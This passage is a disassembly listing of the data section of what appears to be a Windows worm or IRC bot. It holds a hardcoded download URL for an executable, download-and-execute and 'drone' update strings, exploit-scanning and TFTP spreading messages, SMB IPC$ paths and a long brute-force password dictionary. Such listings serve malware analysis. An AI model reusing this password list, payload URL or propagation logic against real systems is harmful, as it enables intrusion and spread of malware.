aHttpWww_sleepy	db 'http://www.sleepyhollowponies.com/z0.exe',0 ; DATA XREF: sub_4085A6+4Do
		align 10h
		dd 428A2F98h, 71374491h, 0B5C0FBCFh, 0E9B5DBA5h, 3956C25Bh
		dd 59F111F1h, 923F82A4h, 0AB1C5ED5h, 0D807AA98h, 12835B01h
		dd 243185BEh, 550C7DC3h, 72BE5D74h, 80DEB1FEh, 9BDC06A7h
		dd 0C19BF174h, 0E49B69C1h, 0EFBE4786h, 0FC19DC6h, 240CA1CCh
		dd 2DE92C6Fh, 4A7484AAh, 5CB0A9DCh, 76F988DAh, 983E5152h
		dd 0A831C66Dh, 0B00327C8h, 0BF597FC7h, 0C6E00BF3h, 0D5A79147h
		dd 6CA6351h, 14292967h,	27B70A85h, 2E1B2138h, 4D2C6DFCh
		dd 53380D13h, 650A7354h, 766A0ABBh, 81C2C92Eh, 92722C85h
		dd 0A2BFE8A1h, 0A81A664Bh, 0C24B8B70h, 0C76C51A3h, 0D192E819h
		dd 0D6990624h, 0F40E3585h, 106AA070h, 19A4C116h, 1E376C08h
		dd 2748774Ch, 34B0BCB5h, 391C0CB3h, 4ED8AA4Ah, 5B9CCA4Fh
		dd 682E6FF3h, 748F82EEh, 78A5636Fh, 84C87814h, 8CC70208h
		dd 90BEFFFAh, 0A4506CEBh, 0BEF9A3F7h, 0C67178F2h, 6A09E667h
		dd 0BB67AE85h, 3C6EF372h, 0A54FF53Ah, 510E527Fh, 9B05688Ch
		dd 1F83D9ABh, 5BE0CD19h
dword_420620	dd 0D728AE22h		; DATA XREF: sub_405350+318r
dword_420624	dd 428A2F98h		; DATA XREF: sub_405350+31Fr
dword_420628	dd 23EF65CDh		; DATA XREF: sub_405350+548r
dword_42062C	dd 71374491h		; DATA XREF: sub_405350+54Fr
dword_420630	dd 0EC4D3B2Fh		; DATA XREF: sub_405350+772r
dword_420634	dd 0B5C0FBCFh		; DATA XREF: sub_405350+779r
dword_420638	dd 8189DBBCh		; DATA XREF: sub_405350+9B8r
dword_42063C	dd 0E9B5DBA5h		; DATA XREF: sub_405350+9BFr
dword_420640	dd 0F348B538h		; DATA XREF: sub_405350+BFEr
dword_420644	dd 3956C25Bh		; DATA XREF: sub_405350+C09r
dword_420648	dd 0B605D019h		; DATA XREF: sub_405350+E80r
dword_42064C	dd 59F111F1h		; DATA XREF: sub_405350+E87r
dword_420650	dd 0AF194F9Bh		; DATA XREF: sub_405350+10D7r
dword_420654	dd 923F82A4h		; DATA XREF: sub_405350+10DEr
dword_420658	dd 0DA6D8118h		; DATA XREF: sub_405350+1319r
dword_42065C	dd 0AB1C5ED5h		; DATA XREF: sub_405350+1320r
dword_420660	dd 0A3030242h		; DATA XREF: sub_405350+1569r
dword_420664	dd 0D807AA98h		; DATA XREF: sub_405350+1570r
dword_420668	dd 45706FBEh		; DATA XREF: sub_405350+17ABr
dword_42066C	dd 12835B01h		; DATA XREF: sub_405350+17B2r
dword_420670	dd 4EE4B28Ch		; DATA XREF: sub_405350+19F3r
dword_420674	dd 243185BEh		; DATA XREF: sub_405350+19FAr
dword_420678	dd 0D5FFB4E2h		; DATA XREF: sub_405350+1C39r
dword_42067C	dd 550C7DC3h		; DATA XREF: sub_405350+1C40r
dword_420680	dd 0F27B896Fh		; DATA XREF: sub_405350+1E91r
dword_420684	dd 72BE5D74h		; DATA XREF: sub_405350+1E9Cr
dword_420688	dd 3B1696B1h		; DATA XREF: sub_405350+210Dr
dword_42068C	dd 80DEB1FEh		; DATA XREF: sub_405350+2114r
dword_420690	dd 25C71235h		; DATA XREF: sub_405350+236Ar
dword_420694	dd 9BDC06A7h		; DATA XREF: sub_405350+2371r
dword_420698	dd 0CF692694h		; DATA XREF: sub_405350+25B8r
dword_42069C	dd 0C19BF174h		; DATA XREF: sub_405350+25BFr
		dd 9EF14AD2h, 0E49B69C1h, 384F25E3h, 0EFBE4786h, 8B8CD5B5h
		dd 0FC19DC6h, 77AC9C65h, 240CA1CCh, 592B0275h, 2DE92C6Fh
		dd 6EA6E483h, 4A7484AAh, 0BD41FBD4h, 5CB0A9DCh,	831153B5h
		dd 76F988DAh, 0EE66DFABh, 983E5152h, 2DB43210h,	0A831C66Dh
		dd 98FB213Fh, 0B00327C8h, 0BEEF0EE4h, 0BF597FC7h, 3DA88FC2h
		dd 0C6E00BF3h, 930AA725h, 0D5A79147h, 0E003826Fh, 6CA6351h
		dd 0A0E6E70h, 14292967h, 46D22FFCh, 27B70A85h, 5C26C926h
		dd 2E1B2138h, 5AC42AEDh, 4D2C6DFCh, 9D95B3DFh, 53380D13h
		dd 8BAF63DEh, 650A7354h, 3C77B2A8h, 766A0ABBh, 47EDAEE6h
		dd 81C2C92Eh, 1482353Bh, 92722C85h, 4CF10364h, 0A2BFE8A1h
		dd 0BC423001h, 0A81A664Bh, 0D0F89791h, 0C24B8B70h, 654BE30h
		dd 0C76C51A3h, 0D6EF5218h, 0D192E819h, 5565A910h, 0D6990624h
		dd 5771202Ah, 0F40E3585h, 32BBD1B8h, 106AA070h,	0B8D2D0C8h
		dd 19A4C116h, 5141AB53h, 1E376C08h, 0DF8EEB99h,	2748774Ch
		dd 0E19B48A8h, 34B0BCB5h, 0C5C95A63h, 391C0CB3h, 0E3418ACBh
		dd 4ED8AA4Ah, 7763E373h, 5B9CCA4Fh, 0D6B2B8A3h,	682E6FF3h
		dd 5DEFB2FCh, 748F82EEh, 43172F60h, 78A5636Fh, 0A1F0AB72h
		dd 84C87814h, 1A6439ECh, 8CC70208h, 23631E28h, 90BEFFFAh
		dd 0DE82BDE9h, 0A4506CEBh, 0B2C67915h, 0BEF9A3F7h, 0E372532Bh
		dd 0C67178F2h, 0EA26619Ch, 0CA273ECEh, 21C0C207h, 0D186B8C7h
		dd 0CDE0EB1Eh, 0EADA7DD6h, 0EE6ED178h, 0F57D4F7Fh, 72176FBAh
		dd 6F067AAh, 0A2C898A6h, 0A637DC5h, 0BEF90DAEh,	113F9804h
		dd 131C471Bh, 1B710B35h, 23047D84h, 28DB77F5h, 40C72493h
		dd 32CAAB7Bh, 15C9BEBCh, 3C9EBE0Ah, 9C100D4Ch, 431D67C4h
		dd 0CB3E42B6h, 4CC5D4BEh, 0FC657E2Ah, 597F299Ch, 3AD6FAECh
		dd 5FCB6FABh, 4A475817h, 6C44198Ch, 0C1059ED8h,	0CBBB9D5Dh
		dd 367CD507h, 629A292Ah, 3070DD17h, 9159015Ah, 0F70E5939h
		dd 152FECD8h, 0FFC00B31h, 67332667h, 68581511h,	8EB44A87h
		dd 64F98FA7h, 0DB0C2E0Dh, 0BEFA4FA4h, 47B5481Dh, 90h dup(0)
byte_420B20	db 8, 0C9h		; DATA XREF: sub_402DAA+8Eo
; ---------------------------------------------------------------------------
		mov	esp, 9E667F3h
		push	3Bh
		cmpsd
		retf	8584h
; ---------------------------------------------------------------------------
		db 0AEh, 67h, 0BBh
		dd 0FE94F82Bh, 3C6EF372h, 5F1D36F1h, 0A54FF53Ah, 0ADE682D1h
		dd 510E527Fh, 2B3E6C1Fh, 9B05688Ch, 0FB41BD6Bh,	1F83D9ABh
		dd 137E2179h, 5BE0CD19h, 90h dup(0)
dword_420DA0	dd 6272h		; DATA XREF: sub_407FA4+40o
aTftpSendComple	db 'TFTP: Send Complete To %s. %d Total Sends',0
					; DATA XREF: sub_407FA4+1A0o
		align 10h
aDownload	db 'download',0         ; DATA XREF: .text:0041DCE3o
		align 4
aE		db '-e',0               ; DATA XREF: .text:loc_408819o
		align 10h
a1:					; DATA XREF: .text:0040882Co
					; .data:00424628o
		unicode	0, <1>,0
aAccessDenied_	db 'Access Denied.',0   ; DATA XREF: .text:loc_40888Do
					; .text:loc_408A95o
		align 4
aUpdate		db 'update',0           ; DATA XREF: .text:0041DCFFo
		align 4
aMozilla5_0	db 'Mozilla/5.0',0      ; DATA XREF: sub_408ADE+33o
aDlDownloadingS	db 'DL: Downloading %s to %s',0 ; DATA XREF: sub_408ADE+51o
		align 4
aDlFailedBadLoc	db 'DL: Failed; Bad Location.',0 ; DATA XREF: sub_408ADE:loc_408CA8o
		align 10h
aDlDownloadSIBy	db 'DL: Download %s (%i Bytes) finished in %i seconds (%iKB/s)',0
					; DATA XREF: sub_408ADE+156o
		align 4
aMainUninstalli	db 'Main: Uninstalling Drone',0 ; DATA XREF: sub_408ADE+1A7o
		align 4
aDlFailedToUpda	db 'DL: Failed To Update',0 ; DATA XREF: sub_408ADE:loc_408CAFo
		align 10h
aDlErrorExecuti	db 'DL: Error Executing File.',0 ; DATA XREF: sub_408ADE+1EDo
		align 4
aDlExecutedFile	db 'DL: Executed File: %s',0 ; DATA XREF: sub_408ADE+1FCo
		align 4
aDlFailedBadUrl	db 'DL: Failed; Bad URL',0 ; DATA XREF: sub_408ADE:loc_408CF6o
aDlFailedWinine	db 'DL: Failed; WinINET Error',0 ; DATA XREF: sub_408ADE:loc_408CFDo
		align 4
aOj@		db 'ކ@',0              ; DATA XREF: .text:0041DCF2o
					; .data:off_433CB8o
aI@		db 'Öˆ@',0              ; DATA XREF: .text:0041DD0Eo
					; .data:off_433CB4o
aHttp		db 'http',0             ; DATA XREF: .text:0041DD1Bo
		align 4
aHttpSDS	db 'http://%s:%d/%s',0  ; DATA XREF: .text:00408DB4o
					; sub_40936F+22Ao ...
aN@		db '=@',0              ; DATA XREF: .text:0041DD2Ao
					; .data:off_433CBCo
aHardwareDescri	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0
					; DATA XREF: sub_408DE0+21o
		align 4
aMhz		db '~MHz',0             ; DATA XREF: sub_408DE0+4Ao
		align 10h
aProcessornames	db 'ProcessorNameString',0 ; DATA XREF: sub_408DE0+6Do
aUnknown	db 'Unknown',0          ; DATA XREF: sub_408DE0+159o
aHardwareDesc_0	db 'HARDWARE\DESCRIPTION\System\CentralProcessor\%i',0
					; DATA XREF: sub_408DE0+1B3o
aSysinfo	db 'sysinfo',0          ; DATA XREF: .text:0041DD37o
		align 8
aSystemSCpuIXS@	db 'System: %s [CPU: %i x %s @ %dMhz] [RAM: %iMB/%iMB] [Country: %s] '
					; DATA XREF: .text:00409195o
		db '[IP: %s] [User: %s] [System Dir: %s] [Uptime: %I64ud %I64uh %I64u'
		db 'm]',0
		align 10h
aR@		db 0Ah			; DATA XREF: .text:0041DD46o
					; .data:off_433CC0o
		db '@',0
aNcacn_ip_tcp	db 'ncacn_ip_tcp',0     ; DATA XREF: sub_4091D2+47o
		align 4
a50abc2a4574d40	db '50abc2a4-574d-40b3-9d66-ee4fd5fba076',0 ; DATA XREF: sub_4091D2+127o
		align 4
asc_42108C:				; DATA XREF: sub_4091D2+17Co
		unicode	0, <]>,0
dword_421090	dd 5C0D0A00h		; DATA XREF: sub_40936F+7Cr
					; sub_409EBD+1Fr
dword_421094	dd 2E2F5Fh		; DATA XREF: sub_40936F+8Br
					; sub_409EBD+27r
dword_421098	dd 0			; DATA XREF: sub_40936F+90o
					; sub_40936F+BEo ...
aStaff		db 'staff',0            ; DATA XREF: .data:00424628o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: .data:00424628o
aStudent	db 'student',0          ; DATA XREF: .data:00424628o
aIntranet	db 'intranet',0         ; DATA XREF: .data:00424628o
		align 10h
aLan		db 'lan',0              ; DATA XREF: .data:00424628o
aMain		db 'main',0             ; DATA XREF: .data:00424628o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: .data:00424628o
aBlank		db 'blank',0            ; DATA XREF: .data:00424628o
		align 4
aOffice		db 'office',0           ; DATA XREF: .data:00424628o
		align 4
aControl	db 'control',0          ; DATA XREF: .data:00424628o
aXp_0		db 'xp',0               ; DATA XREF: .data:00424628o
		align 10h
aNokia		db 'nokia',0            ; DATA XREF: .data:00424628o
		align 4
aHp		db 'hp',0               ; DATA XREF: .data:00424628o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: .data:00424628o
aCompaq		db 'compaq',0           ; DATA XREF: .data:00424628o
		align 4
aDell		db 'dell',0             ; DATA XREF: .data:00424628o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: .data:00424628o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: .data:00424628o
aOracle		db 'oracle',0           ; DATA XREF: .data:00424628o
		align 4
aOrainstall	db 'orainstall',0       ; DATA XREF: .data:00424628o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: .data:00424628o
		align 4
aSql		db 'sql',0              ; DATA XREF: .data:00424628o
aDb1234		db 'db1234',0           ; DATA XREF: .data:00424628o
		align 4
aDb2		db 'db2',0              ; DATA XREF: .data:00424628o
aDb1		db 'db1',0              ; DATA XREF: .data:00424628o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: .data:00424628o
		align 10h
aData		db 'data',0             ; DATA XREF: .data:00424628o
		align 4
aDatabasepass	db 'databasepass',0     ; DATA XREF: .data:00424628o
		align 4
aDbpassword	db 'dbpassword',0       ; DATA XREF: .data:00424628o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: .data:00424628o
		align 4
aAccess		db 'access',0           ; DATA XREF: .data:00424628o
		align 4
aDatabase	db 'database',0         ; DATA XREF: .data:00424628o
		align 10h
aDomainpassword	db 'domainpassword',0   ; DATA XREF: .data:00424628o
		align 10h
aDomainpass	db 'domainpass',0       ; DATA XREF: .data:00424628o
		align 4
aDomain		db 'domain',0           ; DATA XREF: .data:00424628o
		align 4
aHello		db 'hello',0            ; DATA XREF: .data:00424628o
		align 4
aHell		db 'hell',0             ; DATA XREF: .data:00424628o
		align 4
aGod		db 'god',0              ; DATA XREF: .data:00424628o
aSex		db 'sex',0              ; DATA XREF: .data:00424628o
aSlut		db 'slut',0             ; DATA XREF: .data:00424628o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: .data:00424628o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: .data:00424628o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: .data:00424628o
		align 10h
aBackup		db 'backup',0           ; DATA XREF: .data:00424628o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: .data:00424628o
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: .data:00424628o
		align 10h
aLogin		db 'login',0            ; DATA XREF: .data:00424628o
		align 4
aMary		db 'mary',0             ; DATA XREF: .data:00424628o
		align 10h
aKatie		db 'katie',0            ; DATA XREF: .data:00424628o
		align 4
aKate		db 'kate',0             ; DATA XREF: .data:00424628o
		align 10h
aGeorge		db 'george',0           ; DATA XREF: .data:00424628o
		align 4
aEric		db 'eric',0             ; DATA XREF: .data:00424628o
		align 10h
aChris		db 'chris',0            ; DATA XREF: .data:00424628o
		align 4
aIan		db 'ian',0              ; DATA XREF: .data:00424628o
aNeil		db 'neil',0             ; DATA XREF: .data:00424628o
		align 4
aLee		db 'lee',0              ; DATA XREF: .data:00424628o
aBrian		db 'brian',0            ; DATA XREF: .data:00424628o
		align 10h
aSusan		db 'susan',0            ; DATA XREF: .data:00424628o
		align 4
aSue		db 'sue',0              ; DATA XREF: .data:00424628o
aSam		db 'sam',0              ; DATA XREF: .data:00424628o
aLuke		db 'luke',0             ; DATA XREF: .data:00424628o
		align 4
aPeter		db 'peter',0            ; DATA XREF: .data:00424628o
		align 10h
aJohn		db 'john',0             ; DATA XREF: .data:00424628o
		align 4
aMike		db 'mike',0             ; DATA XREF: .data:00424628o
		align 10h
aBill		db 'bill',0             ; DATA XREF: .data:00424628o
		align 4
aFred		db 'fred',0             ; DATA XREF: .data:00424628o
		align 10h
aJoe		db 'joe',0              ; DATA XREF: .data:00424628o
aJen		db 'jen',0              ; DATA XREF: .data:00424628o
aBob		db 'bob',0              ; DATA XREF: .data:00424628o
aQwe		db 'qwe',0              ; DATA XREF: .data:00424628o
aZxc		db 'zxc',0              ; DATA XREF: .data:00424628o
aAsd		db 'asd',0              ; DATA XREF: .data:00424628o
aQaz		db 'qaz',0              ; DATA XREF: .data:00424628o
aWin2000	db 'win2000',0          ; DATA XREF: .data:00424628o
aWinnt		db 'winnt',0            ; DATA XREF: .data:00424628o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: .data:00424628o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: .data:00424628o
		align 4
aWin98		db 'win98',0            ; DATA XREF: .data:00424628o
		align 4
aWindows	db 'windows',0          ; DATA XREF: .data:00424628o
aOeminstall	db 'oeminstall',0       ; DATA XREF: .data:00424628o
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: .data:00424628o
aOem		db 'oem',0              ; DATA XREF: .data:00424628o
aUser		db 'user',0             ; DATA XREF: .data:00424628o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: .data:00424628o
		align 4
aHome		db 'home',0             ; DATA XREF: .data:00424628o
		align 10h
aAccounting	db 'accounting',0       ; DATA XREF: .data:00424628o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: .data:00424628o
		align 4
aInternet	db 'internet',0         ; DATA XREF: .data:00424628o
		align 4
aWww		db 'www',0              ; DATA XREF: .data:00424628o
aWeb		db 'web',0              ; DATA XREF: .data:00424628o
aOutlook	db 'outlook',0          ; DATA XREF: .data:00424628o
aMail		db 'mail',0             ; DATA XREF: .data:00424628o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: .data:00424628o
		align 4
aNull_1		db 'null',0             ; DATA XREF: .data:00424628o
		align 4
aServer		db 'server',0           ; DATA XREF: .data:00424628o
		align 4
aSystem_0	db 'system',0           ; DATA XREF: .data:00424628o
		align 4
aDefault	db 'default',0          ; DATA XREF: .data:00424628o
aChangeme	db 'changeme',0         ; DATA XREF: .data:00424628o
		align 10h
aLinux		db 'linux',0            ; DATA XREF: .data:00424628o
		align 4
aUnix		db 'unix',0             ; DATA XREF: .data:00424628o
		align 10h
aDemo		db 'demo',0             ; DATA XREF: .data:00424628o
		align 4
aNone		db 'none',0             ; DATA XREF: .data:00424628o
		align 10h
aGuest		db 'guest',0            ; DATA XREF: .data:00424628o
		align 4
aTest		db 'test',0             ; DATA XREF: .data:00424628o
		align 10h
a2004		db '2004',0             ; DATA XREF: .data:00424628o
		align 4
a2003		db '2003',0             ; DATA XREF: .data:00424628o
		align 10h
a2002		db '2002',0             ; DATA XREF: .data:00424628o
		align 4
a2001		db '2001',0             ; DATA XREF: .data:00424628o
		align 10h
a2000		db '2000',0             ; DATA XREF: .data:00424628o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: .data:00424628o
		align 4
a123456789	db '123456789',0        ; DATA XREF: .data:00424628o
		align 10h
a12345678	db '12345678',0         ; DATA XREF: .data:00424628o
		align 4
a1234567	db '1234567',0          ; DATA XREF: .data:00424628o
a123456		db '123456',0           ; DATA XREF: .data:00424628o
		align 4
a12345		db '12345',0            ; DATA XREF: .data:00424628o
		align 4
a1234		db '1234',0             ; DATA XREF: .data:00424628o
		align 4
a123		db '123',0              ; DATA XREF: .data:00424628o
a12		db '12',0               ; DATA XREF: .data:00424628o
		align 4
a007		db '007',0              ; DATA XREF: .data:00424628o
aPwd		db 'pwd',0              ; DATA XREF: .data:00424628o
aPass		db 'pass',0             ; DATA XREF: .data:00424628o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: .data:00424628o
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: .data:00424628o
		align 4
aPassword	db 'password',0         ; DATA XREF: .data:00424628o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .data:00424628o
		align 10h
aAdm		db 'adm',0              ; DATA XREF: .data:00424628o
aAdmins		db 'admins',0           ; DATA XREF: .data:00424628o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: .data:00424628o
aAdministrateur	db 'administrateur',0   ; DATA XREF: .data:00424628o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: .data:00424628o
		align 4
aAdministrator	db 'administrator',0    ; DATA XREF: .data:00424628o
		align 4
aSa		db 'sa',0               ; DATA XREF: .data:00424628o
		align 4
aRoot		db 'root',0             ; DATA XREF: .data:00424628o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: .data:00424628o
		align 4
aWxp		db 'WXP',0
aNt42000	db 'NT42000',0
a_:					; DATA XREF: .text:00409798o
		unicode	0, <.>,0
aSIpc		db '\\%s\ipc$',0        ; DATA XREF: .text:004097BCo
		align 4
aSPipeBrowser	db '\\%s\pipe\browser',0 ; DATA XREF: .text:00409808o
		align 4
dword_42151C	dd 4B324FC8h, 1D31670h,	475A7812h, 88E16EBFh, 0	; DATA XREF: .text:00409869o
dword_421530	dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ;	DATA XREF: .text:004098EBo
dword_421544	dd 2 dup(0)		; DATA XREF: .text:004099BEo
; ---------------------------------------------------------------------------

loc_42154C:				; DATA XREF: .text:004099DEo
		jmp	short near ptr dword_421550
; ---------------------------------------------------------------------------
		align 10h
dword_421550	dd 0			; CODE XREF: ev73vtp2:loc_42154Cj
dword_421554	dd 2E6E6373h, 6E6762h	; DATA XREF: .text:0041DD61o
aScanUnknownExp	db 'Scan: Unknown Exploit.',0 ; DATA XREF: .text:loc_40A343o
		align 4
a____0		db '*.*.*.*',0          ; DATA XREF: .text:0040A365o
aA		db '-a',0               ; DATA XREF: .text:0040A39Eo
		align 10h
aB		db '-b',0               ; DATA XREF: .text:0040A3B0o
		align 4
aC		db '-c',0               ; DATA XREF: .text:0040A3C2o
		align 4
aScanNotEnoughT	db 'Scan: Not Enough Threads. %d Available.',0 ; DATA XREF: .text:0040A40Co
aX_		db 'x.',0               ; DATA XREF: .text:0040A492o
		align 4
aD_		db '%d.',0              ; DATA XREF: .text:0040A4A6o
aSx_		db '%sx.',0             ; DATA XREF: .text:0040A4C4o
					; .text:0040A4F1o
		align 10h
aSD_		db '%s%d.',0            ; DATA XREF: .text:0040A4B9o
		align 4
aSx		db '%sx',0              ; DATA XREF: .text:0040A51Eo
aSD		db '%s%d',0             ; DATA XREF: .text:0040A52Do
		align 4
aD_x_x_x	db '%d.x.x.x',0         ; DATA XREF: .text:0040A5EEo
		align 10h
aD_D_x_x	db '%d.%d.x.x',0        ; DATA XREF: .text:0040A5D7o
		align 4
aD_D_D_x	db '%d.%d.%d.x',0       ; DATA XREF: .text:0040A5C0o
		align 4
aScanSDUsingDTh	db 'Scan: %s:%d Using %d Threads.',0 ; DATA XREF: .text:0040A633o
		align 4
aScn		db 'SCN',0              ; DATA XREF: .text:0040A6FFo
					; .text:0040A777o
aScn_end	db 'scn.end',0          ; DATA XREF: .text:0041DD7Do
aScanAllScanThr	db 'Scan: All Scan Threads Stopped. %d killed.',0
					; DATA XREF: .text:0040A7F1o
		align 10h
aScan_stats	db 'scan.stats',0       ; DATA XREF: .text:0041DD99o
		align 4
aStatisticsExpl	db 'Statistics: Exploits:',0 ; DATA XREF: sub_40A812+39o
		align 4
aSSD		db '%s %s: %d',0        ; DATA XREF: sub_40A812+61o
		align 10h
aSDaemons	db '%s; Daemons:',0     ; DATA XREF: sub_40A812+85o
		align 10h
aSTftpD		db '%s TFTP: %d',0      ; DATA XREF: sub_40A812+9Bo
aSHttpD		db '%s HTTP: %d',0      ; DATA XREF: sub_40A812+B1o
aPv@		db '¢@',0              ; DATA XREF: .text:0041DD70o
					; .data:off_433CD0o
a5z@		db '5§@',0              ; DATA XREF: .text:0041DD8Co
					; .data:off_433CC8o
off_4216B0	dd offset sub_40A812, 0	; DATA XREF: .text:0041DDA8o
					; .data:off_433CCCo
dbl_4216B8	dq 5.0e-1		; DATA XREF: .text:loc_409CAAr
flt_4216C0	dd 4.2949673e9		; DATA XREF: .text:00409CA4r
		align 8
		dd 48h,	0Eh dup(0)
		dd 423068h, 421930h, 0Eh
dword_421710	dd 3 dup(0)		; DATA XREF: ev73vtp2:0041E300o
		dd 425AB0h, 421724h, 2 dup(0)
		dd 2, 421734h, 421740h,	42175Ch, 0
		dd 425AB0h, 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	421724h, 425A94h, 2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	421778h, 2 dup(0)
		dd 1, 421788h, 42175Ch,	0
dword_421790	dd 3 dup(0)		; DATA XREF: ev73vtp2:off_41E304o
		dd 425A74h, 4217A4h, 2 dup(0)
		dd 2, 4217B4h, 4217C0h,	42175Ch, 0
		dd 425A74h, 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4217A4h
dword_4217DC	dd 3 dup(0)		; DATA XREF: ev73vtp2:off_41E310o
		dd 425A54h, 4217F0h, 2 dup(0)
		dd 3, 421800h, 421810h,	4217C0h, 42175Ch, 0
		dd 425A54h, 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4217F0h
dword_42182C	dd 3 dup(0)		; DATA XREF: ev73vtp2:0041E320o
		dd 423008h, 421840h, 2 dup(0)
		dd 3, 421850h, 421860h,	4217C0h, 42175Ch, 0
		dd 423008h, 2, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	421840h
dword_42187C	dd 3 dup(0)		; DATA XREF: ev73vtp2:0041E358o
		dd 425A94h, 421778h
dword_421890	dd 3 dup(0)		; DATA XREF: ev73vtp2:0041E378o
		dd 423038h, 4218A4h, 2 dup(0)
		dd 1, 4218B4h, 4218BCh,	0
		dd offset off_423038, 2	dup(0)
		dd 0FFFFFFFFh, 0
		dd 40h,	4218A4h
dword_4218D8	dd 3 dup(0)		; DATA XREF: ev73vtp2:0041EC10o
		dd 423E30h, 4218ECh, 2 dup(0)
		dd 2, 4218FCh, 421908h,	42175Ch, 0
		dd 423E30h, 1, 0
		dd 0FFFFFFFFh, 0
		dd 40h,	4218ECh, 3 dup(0)
		dd 0E7A5h, 0E8AAh, 10B20h, 1292Ch, 18C94h, 1DB53h, 1DB6Eh
		dd 1DB89h, 1DBACh, 1DBCFh, 1DBF4h, 1DC19h, 1DC4Bh, 1DC80h
		dd 0
dword_42196C	dd 2 dup(0)		; DATA XREF: sub_4152FD+2o
					; sub_4152FD+7o
dword_421974	dd 0			; DATA XREF: sub_415321+2o
					; sub_415321+7o
		dd 0FFFFFFFFh, 41DB4Bh
dword_421980	dd 19930522h, 1, 421978h, 5 dup(0) ; DATA XREF:	sub_41DB53+11o
		dd 1
dword_4219A4	dd 0			; DATA XREF: sub_40AF97+29o
		dd offset sub_40AF2B, 0
		dd offset dword_4219B4
dword_4219B4	dd 3, 4219C4h, 422018h,	422034h, 0 ; DATA XREF:	ev73vtp2:004219B0o
		dd offset off_423008, 0
		dd 0FFFFFFFFh, 0
		dd 28h,	40AFD6h
dword_4219E0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40CA3B+2o
		dd 0FFFFFFD0h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40CACD, 0
dword_421A00	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40D1CA+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40D200, 0
dword_421A20	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40D6D3+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40D78D, 0
dword_421A40	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40D7AA+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40D8EF, 0
dword_421A60	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40DA67+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40DAD8, 0
dword_421A80	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40DBA6+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40DBFC, 0
dword_421AA0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40DC34+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40DC7A, 0
dword_421AC0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40E232+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40E2EF, 0
dword_421AE0	dd 0FFFFFFFEh, 0	; DATA XREF: .text:0040E4B4o
		dd 0FFFFFF80h, 0
		dd 0FFFFFFFEh, 40E679h,	40E67Dh, 0FFFFFFFEh, 40E63Fh, 40E653h
dword_421B08	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40EE81+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40EF19, 0
dword_421B28	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40F14A+2o
		db 0CCh
		db 3 dup(0FFh)
		align 8
		dd 0FFFFFFFEh, 0
		dd offset sub_40F2AB, 0
dword_421B48	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40F592+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40F5FC, 0
dword_421B68	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40F747+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40F7F2, 0
dword_421B88	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40F896+2o
		dd 0FFFFFFD8h, 0
		dd 0FFFFFFFEh, 0
		dd 40F99Fh, 0FFFFFFFEh,	0
		dd offset sub_40F9AB
dword_421BB0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_40FE14+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd offset sub_40FECE, 0
dword_421BD0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_41215B+2o
		dd 0FFFFFFD4h, 0
		dd 0FFFFFFFEh, 0
		dd 412211h, 0
dword_421BF0	dd 0FFFFFFFEh, 0	; DATA XREF: sub_4122BD+2o
		dd 0FFFFFFD4h, 0
